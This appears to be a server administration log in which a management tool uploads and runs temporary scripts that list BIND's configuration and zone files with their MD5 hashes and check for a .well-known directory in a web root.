MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-28 20:17:32: Establishing a connection
2025-08-29 19:31:34: Establishing a connection
2025-08-29 19:31:34: 

PUT: /tmp/pkp384801

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-29 19:31:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp384801; rm /tmp/pkp384801'

2025-08-29 19:31:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-29 19:31:54: Establishing a connection
2025-08-29 19:31:55: Establishing a connection
2025-08-29 19:31:56: 

PUT: /tmp/pkp639819

#!/bin/bash
if [ -d "/var/www/pjy_home/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-29 19:31:57: 

chmod 755 /tmp/pkp639819; /tmp/pkp639819; rm /tmp/pkp639819

2025-08-29 19:31:57: 


0


2025-08-29 19:31:58: Establishing a connection
2025-08-29 19:31:58: Establishing a connection
2025-08-29 19:31:58: 

PUT: /tmp/pkp327855

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-29 19:31:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp327855; rm /tmp/pkp327855'

2025-08-29 19:31:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
